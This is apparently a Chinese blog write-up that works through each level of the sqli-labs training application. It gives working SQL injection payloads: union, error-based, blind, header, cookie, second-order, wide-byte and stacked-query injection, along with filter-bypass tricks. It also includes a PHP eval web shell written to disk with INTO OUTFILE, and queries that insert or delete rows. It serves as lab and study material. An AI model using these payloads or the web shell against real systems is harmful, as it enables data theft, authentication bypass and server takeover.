文章目录
- sql注入wp(史上最详细)
- 前言
- 什么是SQL注入?
- SQL注入的原理
- 常见的注入方式
- 常见绕过技巧
- 常见防控SQL注入的方法
- 手工查询语句
- Basic Challenges
- Less-1 **Error Based- String**
- Less-2 Error **Based- Integer**
- Less-3 Error Based- String (with Twist)
- Less-4 Error Based- DoubleQuotes String
- @@Less-5 Double Query- Single Quotes- String
- Less-6 Double Query- Double Quotes- String
- Less-7 Dump into Outfile
- Less-8 Blind- Boolian- Single Quotes- String
- Less-9 Blind- Time based- Single Quotes- String
- Less-10 Blind- Time based- Double Quotes- String
- Less-11- Error Based- String
- Less-12- Error Based- Double quotes- String
- Less-13- Double Injection- String- with twist
- Less-14- Double Injection- Double quotes- String
- Less-15- Blind- Boolian Based- String
- Less-16- Blind- Time Based- Double quotes- String
- Less-17 Update Query- Error based - String
- Less-18 Header Injection- Error Based- string
- Less-19 Header Injection- Referer- Error Based- string
- Less-20 Cookie Injection- Error Based- string
- Adv Injections
- Less-21 Cookie Injection- Error Based- complex - string
- Less-22 Cookie Injection- Error Based- Double Quotes - string
- Less-23 Error Based- no comments
- Less-24 - Second Degree Injections
- @@Less-25 Trick with OR & AND
- Less-25a Trick with OR & AND Blind
- @@Less-26 Trick with comments
- Less-26a Trick with comments
- Less-27 Trick with SELECT & UNION
- Less-27a Trick with SELECT & UNION
- Less-28 Trick with SELECT & UNION
- Less-28a Trick with SELECT & UNION
- Less-29 Protection with WAF
- Less-32 Bypass addslashes()
- Less-33 Bypass addslashes()
- Less-34- Bypass Add SLASHES
- Less-35 why care for addslashes()
- Less-36 Bypass MySQL Real Escape String
- Less-37- MySQL_real_escape_string
- Stacked Injections
- Less-38 stacked Query
- Less-39 stacked Query Intiger type
- Less-40 stacked Query String type Blind
- Less-41 stacked Query Intiger type blind
- Less-42 - Stacked Query error based
- Less-43 - Stacked Query
- Less-44 - Stacked Query blind
- Less-45 - Stacked Query Blind based twist
- @@Less-46 - ORDER BY-Error-Numeric
- Less-47 - ORDER BY Clause-Error-Single quote
- Less-48 - ORDER BY Clause Blind based
- Less-49 - ORDER BY Clause Blind based
- Less-50 - ORDER BY Clause Blind based
- Less-51 - ORDER BY Clause Blind based
- Less-52 - ORDER BY Clause Blind based
- Less-53 - ORDER BY Clause Blind based
- Challenges
sql注入wp(史上最详细)
分割线7月26日:本来很早就写完了。。。这么晚发是因为图床问题弄了我好几天,现在终于弄好图床问题了(因为我是现在本地写的md文档,所以图片路径就很麻烦-.-)
前言
其实在学校就一直想着学点技术,但是学校可实在是太多了,而且课余时间还要抽出来两小时左右去健身房,所以留给我的空余时间真的太少了,所以放暑假回家的第二天,就赶紧开始写了这个WP,希望这篇文章能给大家带来一点对于学习的动力,因为本人也不是那种特别痴迷于技术的人,只是限于不讨厌可以学进去的那种0.0(自己好菜QAQ),本文也参考了许多大神的文章,特别是Yunen师傅https://xz.aliyun.com/t/7169#toc-8,还有Mysql注入天书(github上面有)。
本文将会按照sqllib中对于每一关的叙述作为解题方法
知识点多的关卡前面会有@@号作为标记
什么是SQL注入?
SQL注入就是Web对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作
SQL注入的原理
- 参数用户可控
- 参数代入数据库查询
常见的注入方式
- Union注入
- Boolean注入
- 报错注入
- 延时注入
- 堆叠查询注入
- 二次注入
- 宽字节注入
- cookie注入
- base64注入
- XFF注入
常见绕过技巧
- 大小写绕过
- 双写绕过
- 注释绕过
- 编码绕过
常见防控SQL注入的方法
- 使用预处理语句PDO
- 对用户的输入进行过滤
- 使用WAF、防火墙
手工查询语句
查列数
order by 1-99
查回显位置
id = 0 union select 1,2,3
查数据库
select database()
查表
select table_name from information_schema.tables where table_schema=database()
查字段
select column_name from information_schema.columns where table_name=‘xx’
查字段值
select * from xxx
Basic Challenges
Less-1 Error Based- String
?id=1’ order by 3 --+(加号会被URL编码为空格) 页面回显正常
?id=1’ order by 4–+ 报错Unknown column ‘4’ in ‘order clause’
说明数据表有三列
?id=0’ union select 1,2,3 --+
代表回显位置为2和3
?id=0’ union select 1,user(),database() --+
查用户名和数据库名
?id=0’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
查表名
?id=0’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
查字段名
?id=0’ union select 1,( select group_concat(username) from users),( select group_concat(password) from users) --+
查字段值
Less-2 Error Based- Integer
?id=1 order by 4
查列数
?id=0 union select 1,2,3
查回显位置
后续操作和Less-1一样,因为是数字型注入,所以只需要把payload中的单引号去掉即可
Less-3 Error Based- String (with Twist)
?id=1’
?id=1’) --+
得知是由单引号与圆括号包裹
所以?id=1’) order by 4 --+
查列数
后续查询与上面一样
Less-4 Error Based- DoubleQuotes String
?id=1"
?id=1") --+
得知是双引号与圆括号包裹
所以?id=1") order by 4 --+
查列数
其余payload与上面一致,换成对应包裹内容即可
@@Less-5 Double Query- Single Quotes- String
?id=1’
?id=1’ --+
因为回显位置You are in,代表这是一道盲注的题目也可以用报错注入
布尔盲注
?id=1’ order by 4 --+
?id=1’ and substr(database(),1,1)=‘s’ --+
?id=1’ and ascii(substr(database(),1,1))=97 --+
下面的操作可以按照上面的payload,一步一步猜解数据库名、表名、字段名
字段值
可以用burp suite进行爆破
?id=1’ and substr(database(),1,1)=‘s’ --+
抓取页面送到intruder模块,然后在准备一个0-9的数字字典,a-z的字母字典
添加变量给substr的参数、函数的结果
攻击类型更改为集束炸弹(对于两个变量进行任意组合)
由爆破知道,数据库的名字为security,后续爆破以此类推
延时注入
?id=1’ and if((substr(database(),1,1)=‘s’),1,sleep(5)) --+
意思就是如果数据库名字的第一个字符为s,那么返回1,否则延时5秒执行
?id=1’ and if((substr(database(),1,1)=‘a’),1,sleep(5)) --+
以此类推也可以爆破出所有数据,接下来我们用benchmark函数来进行注入
benchmark(count,expr) 函数重复count次执行表达式expr,它可以用于计时MySQL处理表达式有多快,结果值总是0。
?id=1’ and if(substring(database(),1,1)=‘a’,(select benchmark(10000000,md5(0x41))),1) --+
语句的意思就是如果数据库名的第一个字符为a,那么返回0,否则返回1
同样可以爆出所有数据,这里就不过多赘述了
报错注入
有updatexml()、floor()、extractvalue()、double()、bigint溢出
?id=1’ and select count(*),floor(rand()*2)
?id=1’ and updatexml(1,concat(0x7e,database()),1) --+
?id=1’ and extractvalue(1,concat(0x7e,database())) --+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),1) --+
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’))) --+
因为XPATH报错最多只显示32位,可以通过substr来截取或者SQL自带的函数reverse()
union select 1,count(
*
),concat_ws(’~’,[子查询语句],floor(rand(0)*2)) as a from [想要查找的表名] group by a –
?id=1’ union select 1,count(*
),concat_ws(’~’,database(),floor(rand(0)*2)) as a from information_schema.tables group by a --+
?id=1’ union select 1,count(*
),concat_ws(’~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
Less-6 Double Query- Double Quotes- String
?id=1"
为双引号包裹,注入方式与上面完全一致
?id=1" and updatexml(1,concat(0x7e,database()),1) --+
Less-7 Dump into Outfile
?id=1’)) --+
上传一句话木马
注意要在my.ini修改配置加上
secure_file_priv =""
代表可以上传的路径不限(引号特别注意)
?id=1’)) union select 1,2,’<?php @eval($_POST["a"]);?>’ into outfile “D:\phpStudy\PHPTutorial\WWW\sqllib\Less-7\demo.php” –
蚁剑连接即可
Less-8 Blind- Boolian- Single Quotes- String
?id=1’
?id=1’ --+
单引号包裹,且没有报错信息,即只能用布尔盲注或者延时注入
?id=1’ and substr(database(),1,1)=‘s’ --+
?id=1’ and if(substr(database(),1,1)=‘s’,sleep(5),1) --+
payload参考Less-5
Less-9 Blind- Time based- Single Quotes- String
?id=1’
?id=1’ and sleep(5) --+
由此得知本页面不管是逻辑正确还是错误,回显都为You are in,所以只能运用延时注入,报错注入和布尔注入都不行
参考上面的关卡
Less-10 Blind- Time based- Double Quotes- String
?id=1’ and sleep(5) --+
?id=1" and sleep(5) --+
由此得知,为双引号包裹的延时注入
payload参照上面
Less-11- Error Based- String
从这关开始就是POST注入了
由上述可知,此关卡的用户名和密码都存在单引号的注入
只要我们把用户名后面的内容注释掉就可以不需要密码从而登陆
s q l = " S E L E C T u s e r n a m e , p a s s w o r d F R O M u s e r s W H E R E u s e r n a m e = ′ sql="SELECT username, password FROM users WHERE username=' sql="SELECTusername,passwordFROMusersWHEREusername=′uname’ and password=’$passwd’ LIMIT 0,1";
SELECT username, password FROM users WHERE username='admin' --' and password='$passwd' LIMIT 0,1;
接下来的操作就与Less-1一样
’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
Less-12- Error Based- Double quotes- String
admin" #
admin") #
由此可知为双引号和圆括号包裹的POST注入,payload参考上面
Less-13- Double Injection- String- with twist
admin’) #
admin’) and sleep(5) #
由此可见为单引号与圆括号包裹的盲注,可以用Less-5的方法
admin’) and extractvalue(1,concat(0x7e,database())) #
Less-14- Double Injection- Double quotes- String
admin"#
由此得知为双引号包裹的盲注,payload参考上一关
Less-15- Blind- Boolian Based- String
admin’ #
admin’ and substr(database(),1,1)=‘s’ #
布尔注入和延时注入都可以
具体payload参考上面
Less-16- Blind- Time Based- Double quotes- String
admin") #
同样可以用延时注入和布尔注入
Less-17 Update Query- Error based - String
由此可见,本关对我们输入的Username,进行了过滤,那么我们可以找密码作为突破口
root’ #
root’ and extractvalue(1,concat(0x7e,database())) #
其余payload与上面一致就不做过多赘述
Less-18 Header Injection- Error Based- string
由题目题目得知我们是关于User-Agent的注入,所以抓包看看,更改这个头部信息会发生什么
发现是我们更改的内容,那么我们就可以把我们的payload拼接到user-agent里面
User-Agent:’ and extractvalue(1,concat(0x7e,database())) and ‘1’='1
最后的and ‘1’='1是为了与多余的一个单引号做闭合
User-Agent:'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))and ‘1’='1
剩下的内容就与前面报错注入的payload一样了
Less-19 Header Injection- Referer- Error Based- string
同理我们抓包发现,页面回显了我们的Referer也就是来自哪里
同样我们尝试在Referer字段中注入
Referer: 'and extractvalue(1,concat(0x7e,database())) and ‘1’='1
剩下的思路与上一关一样,就不做过多赘述
Less-20 Cookie Injection- Error Based- string
我们成功登录以后,抓包发现cookie字段是可控的,再结合题目我们大概可以判断是要在cookie中操作了
Cookie: uname=admin’
Cookie: uname=admin’and ‘1’='1
发现没有报错,即可证明是cookie注入
Cookie: uname='and extractvalue(1,concat(0x7e,database())) and ‘1’='1
其他操作类似上面
Adv Injections
Less-21 Cookie Injection- Error Based- complex - string
同样抓包,发现它只是对我们的cookie进行base64加密
admin’ –
Cookie: uname=YWRtaW4nIC0tIA==
admin’ and ‘1’='1
Cookie: uname=YWRtaW4nIGFuZCAnMSc9JzE=
由此得知此关与上关一样,只需将payload进行base64加密即可
'and extractvalue(1,concat(0x7e,database())) and ‘1’='1
Cookie:uname=J2FuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkgYW5kICcxJz0nMSA=
剩下的payload只需自行更改报错语句即可
Less-22 Cookie Injection- Error Based- Double Quotes - string
admin"
Cookie: uname=YWRtaW4i
admin" and “1” = "1
Cookie: uname=YWRtaW4iIGFuZCAiMSIgPSAiMQ==
由此可知这是一个双引号包裹,payload和上一关一样,只需更改其为双引号即可
Less-23 Error Based- no comments
这关题目就告诉我们过滤了注释,即我们就无法注释掉多余的单引号了。
但是我们可以通过配凑来达到处理多余单引号的目的
?id=1’ --+
?id=1’ and ‘1’='1
这样就可以构造我们的语句了
?id=1’ and extractvalue(1,concat(0x7e,database())) and ‘1’='1
所以我们可以用配凑的方法来绕过过滤注释
Less-24 - Second Degree Injections
我们首先把我们admin用户的密码改为root
我们再注册一个名字叫admin’#的用户密码123
然后我们用这个创建好的新用户登录
然后我们尝试对这个用户进行修改密码,修改为asd123
然后我们正常登录admin用户
出现密码错误
我们再尝试用密码asd123登录admin用户,发现登录成功
这就证明我们用admin’#用户修改的密码其实是相当于修改admin用户的密码
修改密码的SQL语句大概是这样的,所以我们注册的admin’#正好会把后面校验密码与当前密码是否相同这一语句注释掉,所以等价于成功修改了admin用户的密码。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
-- 相当于执行了这一句sql
UPDATE users SET PASSWORED="$pass" WHERE username ='admin'
二次注入其实就和存储型XSS差不多,首先把恶意语句存储在数据库中,然后当用户调用这个恶意语句的时候,就会触发sql注入
@@Less-25 Trick with OR & AND
?id=1 order by 3
由此可知作者把我们的or和and过滤掉了,且过滤为了空白
所以我们就可以采取大小写绕过或者双写绕过,或者运算符绕过、直接使用拼接=号、异或注入
大小写绕过 | 双写绕过 | 运算符绕过 | 拼接等号、异或注入 |
---|---|---|---|
Or、OR、oR | oorr | and = && | ?id=1=(condition) |
And、AND | aandnd | or = || | ?id=1 ^ (condition) |
大小写绕过
?id=1 oorrder by 4
证明绕过成功了,所以这关我们可以使用报错注入
?id=1’ aandnd extractvalue(1,concat(0x7e,database())) --+
运算符绕过
?id=1’ || extractvalue(1,concat(0x7e,database())) --+
?id=1’ %26%26 extractvalue(1,concat(0x7e,database())) --+
?id=1’ %7c%7c extractvalue(1,concat(0x7e,database())) --+
%26=&,%7c= | ,直接用&&不行,我也不知道为什么。。
拼接等号、异或注入
?id=1’ = (extractvalue(1,concat(0x7e,database())))–+
?id=1’ ^ (extractvalue(1,concat(0x7e,database()))) --+
我觉得这个的原理就是后面小括号的内容会先运算从而引发报错注入,我试了一下只要是运算符,就可以触发
?id=1’ <> (extractvalue(1,concat(0x7e,database()))) --+
<> 检查两个操作数的值是否相等,如果不相等则条件为真
?id=1’ < (extractvalue(1,concat(0x7e,database()))) --+
?id=1’ > (extractvalue(1,concat(0x7e,database()))) --+
?id=1’ | (extractvalue(1,concat(0x7e,database()))) --+
xor= |(异或)逻辑异或,^为位异或
?id=1’ != (extractvalue(1,concat(0x7e,database()))) --+
?id=1’ <= (extractvalue(1,concat(0x7e,database()))) --+
?id=1’ >= (extractvalue(1,concat(0x7e,database()))) --+
?id=1’ %2b (extractvalue(1,concat(0x7e,database()))) --+
%2b= 加号(+)
也可以用union注入
?id=-1’ union select 1,2,3–+
注意information中有or需要双写绕过
Less-25a Trick with OR & AND Blind
?id=-1 union select 1,2,3
其它payload与上面类似
@@Less-26 Trick with comments
这关将我们的空格和注释符过滤掉了,所以我们可以采用如下方法来绕过
注释通过配凑来打到绕过注释
使用and和or的特点 | 使用括号绕过空格 | 使用特殊字符 |
---|---|---|
and和or后可以不用加空格 | 仅限于子查询语句(可以得出结果的sql语句) 例如可以用select(database())and(1=1) 却不能用于?id=1(union)(select(database())),会报错 因为单独的union并不是子查询语句,也就是我们下面的注入不可以使用 | %09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格 |
使用and和or的特点
?id=1’ aandnd (extractvalue(1,concat(0x7e,database()))) aandnd ‘1’='1
句子中的空格是为了方便看
使用特殊字符
?id=’%a0union%a0select%a01,2,3%a0aandnd’1’='1
经过我测试%0b也可以绕过,只是在result中不显示
?id=’%0bunion%0bselect%0b1,2,3%0baandnd’1’='1
Less-26a Trick with comments
?id=1’)%a0aandnd ‘1’=('1
剩下的payload参考26
Less-27 Trick with SELECT & UNION
?id=1’ and ‘1’='1
因为过滤了union和select,所以我们可以尝试双写绕过
?id=’%a0uunionnion%a0 SeLect%a01,2,3%a0and ‘1’='1
其中select不能双写绕过的原因是因为,源码里对于select过滤是这样的
$id= preg_replace('/select/m',"", $id);
它的正则表达式是有一个m参数,也就是多行匹配,所以我们双写无法绕过,但是大小写可以绕过,因为没有参数i
?id=’%a0uunionnion%a0 SeLect(1),(database()),(3)and ‘1’='1
这个后面的select查询语句就可以用前面提到过的括号来绕过空格过滤
报错注入同样适用
?id=1’ and(extractvalue(1,concat(0x7e,database())))and ‘1’='1
剩下的payload参考前面即可
Less-27a Trick with SELECT & UNION
?id=1" and “1”="1
代表我们这个是双引号包裹的变量,
?id=1"%a0and(extractvalue(1,concat(0x7e,database())))and “1”="1
所以报错注入不可以用
可以用union注入或者延时注入
?id="%a0uunionnion%a0 SeLect(1),(database()),(3)and “1”="1
?id="%a0uunionnion%a0SeLect(1),(seLect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),(3)and “1”="1
剩下的payload参考上面
Less-28 Trick with SELECT & UNION
?id=1’) and’1’=('1
?id=’)%a0union%a0 SeLect(1),(database()),(3)and ‘1’=('1
这题过滤了我们的union空格select的形式,所以我们用特殊字符绕过
$id= preg_replace('/union\s+select/i',"", $id);
剩下的payload与上面一致,这关也可以使用报错注入
Less-28a Trick with SELECT & UNION
这关相较于上一关,少了一些过滤且没有报错信息
所以我们就可以使用union注入或者延时注入
?id=’) union%a0select database(),database(),3 --+
剩下的payload同上
Less-29 Protection with WAF
从这关到31关,都是有一个Tomcat的waf,具体演示步骤看我这两篇博客
[29-31关wp]https://blog.csdn.net/m0_46436640/article/details/107417643
[29关环境搭建]https://blog.csdn.net/m0_46436640/article/details/107530828
其实原理就是运用了参数污染。
Tomcat和Apache接受参数的顺序不同,第一个参数1,被Tomcat接收,然后经检查没有问题,所以成功传输到了Apache然后正常显示,然后第二个参数2,因为此参数并没有被Tomcat接收,所以它会直接传递到Apache,不经过Tomcat所以在Tomcat的waf也没有起到作用
Less-32 Bypass addslashes()
所谓宽字节注入我们得知道以下知识:
1.数据库是GBK编码格式
2.当数据库是GBK编码格式,我们利用的是mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字节是一个汉字(前一个ascii码要大于128,才到汉字范围)
还有关于转义字符的知识:
反斜杠具有转义功能
1.一个反斜杠 可以转义后面任意的字符例如 \'
\"
分别转义单引号与双引号
2.两个反斜杠 可以输出一个正常的反斜杠如\输出的是 \
3.三个反斜杠 可以输出一个正常的反斜杠(第三个) 如 \\输出的是 \
还可以后面加任意字符进行转义,输出一个反斜杠加任意字符
例如 \\\'
\\\"
可以转义出 \'
\"
这就是我们题里面见到的把单引号转义为了反斜杠加单引号
4.四个反斜杠 功能类似于三个反斜杠的功能,例如 \\\\
输出为 \\
\\\\'
输出为\\'
四个反斜杠的前两个就是2的功能,然后等价于再实现3的功能
?id=1’
它把我们的单引号转义了,所以我们考虑运用宽字节注入
?id=1%df’
转义后?id=1%df \ ’ URL编码后?id=%df%5c%27
\ = %5c ’ = %27,然后%df又与%5c构成了一个汉字,从而达到逃逸单引号的作用
所以下面我们就可以运用union注入、延时注入、报错注入都可以
?id=1%df’ and extractvalue(1,concat(0x7e,database())) --+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JYEOUKew-1627288975071)(upload\image-20210719112958254.png)]
?id=%df’ union select 1,2,database() --+
Less-33 Bypass addslashes()
这关payload与上关完全一致,只是两关对于单引号转义的方式不同,上一关是运用正则表达式,而这关是运用内置函数addslashes()
?id=1%df’ and extractvalue(1,concat(0x7e,database())) --+
Less-34- Bypass Add SLASHES
这关是典型的POST注入
区别于GET注入,GET注入会直接以URL提交,而POST不会
我们只需要抓包修改其参数即可进行注入
uname=admin%df’ and extractvalue(1,concat(0x7e,database())) or 1=1#&passwd=123&Submit=submit
uname=%df’ union select 1,2#&passwd=123&Submit=submit
Less-35 why care for addslashes()
这关因为是整数型注入,所以和单引号没有任何关系,是最简单的注入,直接对其注入即可
?id=0 union select 1,2,3
?id=1 and extractvalue(1,concat(0x7e,database()))
Less-36 Bypass MySQL Real Escape String
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
但是作者后面又把数据库设置为了GBK格式,所以还是可以通过宽字节注入绕过
?id=%df’ union select 1,2,3–+
?id=1%df’ and extractvalue(1,concat(0x7e,database())) --+
Less-37- MySQL_real_escape_string
这关同上关一样,作者也是在后面用了GBK编码,同样用宽字节绕过即可
uname=%df’ union select 1,2#&passwd=asd&submit=Submit
uname=%df’ and extractvalue(1,concat(0x7e,database()))#&passwd=asd&submit=Submit
Stacked Injections
Less-38 stacked Query
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
?id=1’–+
接下来使用堆叠注入在数据表中插入一条数据
?id=1’; insert into users values(16,‘ljyasd’,‘123asd’)–+
Less-39 stacked Query Intiger type
由题目得知为整形注入,所以payload不需要加引号,与上关相同
?id=1; insert into users values(17,‘lasd’,‘123’)–+
Less-40 stacked Query String type Blind
?id=1’) --+
且经过判断,无回显所以只能用盲注(爆数据),但我们是要在数据表中添加新的数据,所以盲不盲注没有关系
?id=1’); insert into users values(18,‘asd’,‘123’) --+
Less-41 stacked Query Intiger type blind
由题目得知为数字型的注入,所以payload与上一关一致,去掉单引号和括号即可
?id=1; insert into users values(19,‘qwe’,‘123’) --+
Less-42 - Stacked Query error based
由源码得知,作者对于登录用户名,现在的密码、想要修改的密码、确认密码都做了过滤处理,唯独登录密码没有进行处理,所以我们可以在登录密码处,做手脚。
login_user=admin&login_password=a’; insert into users values(20,‘ljynb’,‘123’) #&mysubmit=Login
尽管登录失败,但是我们成功添加了一个用户进去
Less-43 - Stacked Query
由题目知道是有括号包裹着的,所以payload更改一下即可
login_user=admin&login_password=a’); delete from users where id=17 #&mysubmit=Login
Less-44 - Stacked Query blind
尽管是盲注,但是同上,我们只需添加或者删除数据即可
login_user=admin&login_password=a’; insert into users values(17,‘123nb’,‘123’) #&mysubmit=Login
Less-45 - Stacked Query Blind based twist
虽然盲注,但是不影响增加和删除数据
login_user=admin&login_password=a’); delete from users where id=17 #&mysubmit=Login
@@Less-46 - ORDER BY-Error-Numeric
- 首先order by后面的数字可以作为一个注入点
比如order by(rand(sql语句))
?sort=rand(true)
?sort=rand(false)
order by(select xxxxx)
?sort=(select username from users limit 0,1)
order by and (sql语句)
?sort=1 and (extractvalue(1,concat(0x7e,database())))
Less-47 - ORDER BY Clause-Error-Single quote
?sort=1’ --+
?sort=1’ and updatexml(1,concat(0x7e,database()),1)–+
Less-48 - ORDER BY Clause Blind based
没有错误显示,可以用延时注入,或者导入文件
?sort=1 and if((substr(database(),1,1))=‘s’,1,sleep(5))
?sort=1 into outfile “路径”
Less-49 - ORDER BY Clause Blind based
和上关一模一样就做过多叙述了
Less-50 - ORDER BY Clause Blind based
这关是数字型order by注入加上堆叠注入,和我们堆叠注入的过程是一样的
?sort=1; insert into users values(111,‘qwer’,‘1234’)
Less-51 - ORDER BY Clause Blind based
?sort=1’–+
?sort=1’; insert into users values(112,‘asdf’,‘1234’) --+
Less-52 - ORDER BY Clause Blind based
这关是盲注,但是对于我们的堆叠注入没有任何影响
?sort=1; insert into users values(113,‘zxcv’,‘1234’)
Less-53 - ORDER BY Clause Blind based
?sort=1’ --+
这关同样是盲注,但是对于我们的堆叠注入没有任何影响
?sort=1’; delete from users where id = 113 --+
Challenges
Less-54:Challenge-1
从挑战这关开始,每次都只能有固定的尝试次数,如果超过,就会重置数据表
查表
?id=’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+
查字段
?id=’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘412wfwrvqy’),3–+
查字段值(密码)
?id=’ union select 1,(select group_concat(secret_S82H) from 412wfwrvqy),3–+
Less-55:Challenge-2
?id=1) --+
剩下的payload参考上面
查表
?id=0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+
查字段
?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘w2f2yyp0bo’),3–+
查字段值
?id=0) union select 1,(select group_concat(secret_M5GC) from w2f2yyp0bo),3–+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ieHZsRqm-1627288975108)(D:%5CLanguage%5CStudy%5Casd%5Cupload%5Cimage-20210720104331681.png)]
Less-56:Challenge-3
?id=1’) --+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CQcWzEgC-1627288975109)(D:%5CLanguage%5CStudy%5Casd%5Cupload%5Cimage-20210720104436602.png)]
查表
?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+
查字段
?id=-1’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘pffm1hcyuo’),3–+
查字段值
?id=-1’) union select 1,(select group_concat(secret_DTSQ) from pffm1hcyuo),3–+
Less-57:Challenge-4
?id=1" --+
查表
?id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+
查字段
?id=-1" union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘52j1yd8ohh’),3–+
查字段值
?id=-1" union select 1,(select group_concat(secret_TVZA) from 52j1yd8ohh),3–+
Less-58:Challenge-5
经过测试,本关没有对我们的数据库信息进行回显,所以应该用报错注入
查表
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
查字段
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘t9sfkwy68p’)))–+
查字段值
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(secret_TX7R) from t9sfkwy68p)),1)–+
Less-59:Challenge-6
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
剩下的payload同上
Less-60:Challenge-7
?id=1") --+
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
剩下的payload同上
Less-61:Challenge-8
?id=1’
得知是两层括号包围
?id=1’)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
Less-62:Challenge-9
?id=1’) --+
因为是盲注,所以报错注入无法使用
?id=1’) and if((substr(database(),1,1)=‘c’),sleep(5),1) --+
证明数据库第一个字符为c,剩下的操作可以参考我之前关于用burp爆破进行盲注的过程,这里就不做过多赘述了
Less-63:Challenge-10
?id=1’ --+
?id=1’ and if((substr(database(),1,1)=‘c’),sleep(5),1) --+
同上。
Less-64:Challenge-11
?id=1)) --+
?id=1)) and if((substr(database(),1,1)=‘c’),sleep(5),1) --+
Less-65:Challenge-12
?id=1") --+
?id=1") and if((substr(database(),1,1)=‘c’),sleep(5),1) --+
至此所有关卡就全部解决完毕,这里我想说的是,有的关卡并没有给出完整的payload,为的就是要自己举一反三,而不是一味的直接复制粘贴,这样就学习的意义就没有了。
其实想写这个想了好久了,上学期课实在是太多了,而且也没时间学点技术,所以只能放暑假回来写了,本篇从7月8日放假回家到现在大概用时是一个星期,因为之前做过前30关所以很快,又因为每天要去健身房,加上休息的时候会出去玩玩,所以拖了大概两星期0.0。
希望这篇文章,可以对那些初学SQL注入的同学有点帮助吧(我自己认为,写的其实挺详细的了,因为以我的口吻来写,本来自己学的不是那么特别扎实,所以就写的详细了一点^^),也作为我们以后回过头来复习的工具书吧。
最后可能因为写的比较急,里面会一些语法错误和payload的小错误,但是不影响阅读,希望大家看到可以指正。